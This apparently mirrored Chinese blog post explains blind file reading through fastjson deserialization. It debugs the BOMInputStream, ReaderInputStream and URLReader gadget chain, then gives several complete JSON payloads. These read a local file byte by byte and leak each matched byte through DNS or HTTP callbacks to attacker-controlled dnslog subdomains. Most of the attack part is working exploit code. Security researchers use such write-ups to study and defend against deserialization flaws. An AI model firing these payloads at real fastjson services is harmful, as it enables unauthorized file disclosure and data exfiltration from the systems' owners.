8

无回显场景下通过fastjson读文件

 2 years ago
source link: https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%96%87%E4%BB%B6/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

有回显读文件

最近在学fastjson,但是因为懒,简单了解一下48就转向68的学习,然后翻开尘封已久的收藏夹开始68的debug之路。突然,浅蓝师傅的一篇无回显读文件的文章吸引了我的注意。啪!很快啊!我就上手调起来。

先贴一下来自blackhat的初始poc:

{"abc": {"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///E:/tmp/tyskill.txt"},"charsetName": "utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes": [ASCII1,ASCII2,...]}]},"address": {"$ref": "$.abc.BOM"}}

debug过程无所谓,自己调一下就行,我列一下我觉得比较重要的点:

  • jdk.nashorn.api.scripting.URLReader接受URL类型参数,因此支持http、jar、netdoc等协议
  • boms参数通过数组展开符传入BOMInputStream构造方法,因此需要作为数组类型传参,其bytes参数同理
  • boms数组只要有一个元素能够成功匹配就能返回ByteOrderMark对象,进而成功实例化BOMInputStream对象
  • address过程的JSONpath引用是为了调用BOMInputStream对象的getBOM方法,该方法用于boms和ReaderInputStream数据流进行逐字节的比较,根据比较结果返回null或ByteOrderMark对象。除此之外,该方法还值得细嗦一下:
public ByteOrderMark getBOM() throws IOException {
    if (this.firstBytes == null) { // BOMInputStream对象初始化时firstBytes字段为null
        this.fbLength = 0;
        int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length(); // 获取传入boms数组的长度
        this.firstBytes = new int[maxBomSize]; // 预先分配

        for(int i = 0; i < this.firstBytes.length; ++i) {
            this.firstBytes[i] = this.in.read(); // 开始逐字节读取数据流,但长度取决于boms数组
            ++this.fbLength;
            if (this.firstBytes[i] < 0) { // EOF
                break;
            }
        }

        this.byteOrderMark = this.find(); // 内部调用matches方法逐字节比较boms和数据流
        if (this.byteOrderMark != null && !this.include) { // include字段默认为false
            if (this.byteOrderMark.length() < this.firstBytes.length) {
                this.fbIndex = this.byteOrderMark.length();
            } else {
                this.fbLength = 0;
            }
        }
    }

    return this.byteOrderMark;
}

可以看到firstBytes字段是在boms参数有>0长度时才能进行流数据的读取,这里会引发一个问题,数据流是先通过jdk.nashorn.api.scripting.URLReader类预存URL地址内容后调用read方法逐字节返回,还是先read后访问URL,带着这个疑问进入新一轮的debug,随便跳几下就可以在URLReader#getReader发现new CharArrayReader(Source.readFully(this.url, this.cs));代码,可以说明是read方法先被调用

这个问题可以证明什么呢?若我们将file协议修改为http协议,然后传入“空的boms数组”,不就可以实现指定条件下访问目标地址的功能么

注:空数组并不是实际意义上的[],具体含义后面分析

无回显读文件

浅蓝师傅通过观察getBOM返回值添加了一段CharSequenceReader实例化的json字符串,该方法在boms比较不通过的情况下返回null,此时传入CharSequenceReader构造方法不会引发错误,而比较通过时ByteOrderMark对象显然不满足参数CharSequence类型要求,继而引发报错,中断解析流程。基于此可以实现指定条件下字符串解析的终止,也就诞生了文章中的poc。

但debug后会发现一些小问题:该poc其实只依赖于比较成功时的类型冲突,因此后面一段反而过于冗长,可以使用常见的探测poc替换

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          48,
        ]
      }
    ]
  },
  "address" : {
	"@type": "java.lang.AutoCloseable",
	"@type":"org.apache.commons.io.input.CharSequenceReader",
	"charSequence": {
		"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
	},
	"start": 0,
	"end": 0
  },
  "xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}

无回显读文件revenge

该tag取名源于某比赛(doge

尝试过上面的poc可以发现在匹配不成功时发出dnslog请求太麻烦,虽然可以通过同步注入字符与访问域名的方式来方便结果观察,但我还是不爽(,所以需要一些新的构造来让dnslog请求只发生在比较成功的时候

通过第一部分的介绍可以发现boms传入“空数组”时不会发生访问行为,这样的特点加上http协议就可以构成基本的盲注场景。

如何构造一个“空数组”呢?传入一个null即可,也就是bytes比较不成功的时候,此时逻辑就可以串联起来了,先注入文件内容,比较不成功时返回null,将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中,这样就可以形成更好用的poc:

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
	  "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
		"@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [48,]
      }
    ]
  },
  "address": {
	  "@type": "java.lang.AutoCloseable",
	  "@type": "org.apache.commons.io.input.BOMInputStream",
	  "delegate": {
		"@type": "org.apache.commons.io.input.ReaderInputStream",
		"reader": {
		  "@type": "jdk.nashorn.api.scripting.URLReader",
		  "url": "http://aaaxd.bf1p.hyuga.icu/"
		},
		"charsetName": "UTF-8",
		"bufferSize": 1024
	  },
	  "boms": [{"$ref":"$.abc.BOM[0]"}]
  },
  "xxx":{"$ref":"$.address.BOM[0]"}
}

Reference


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK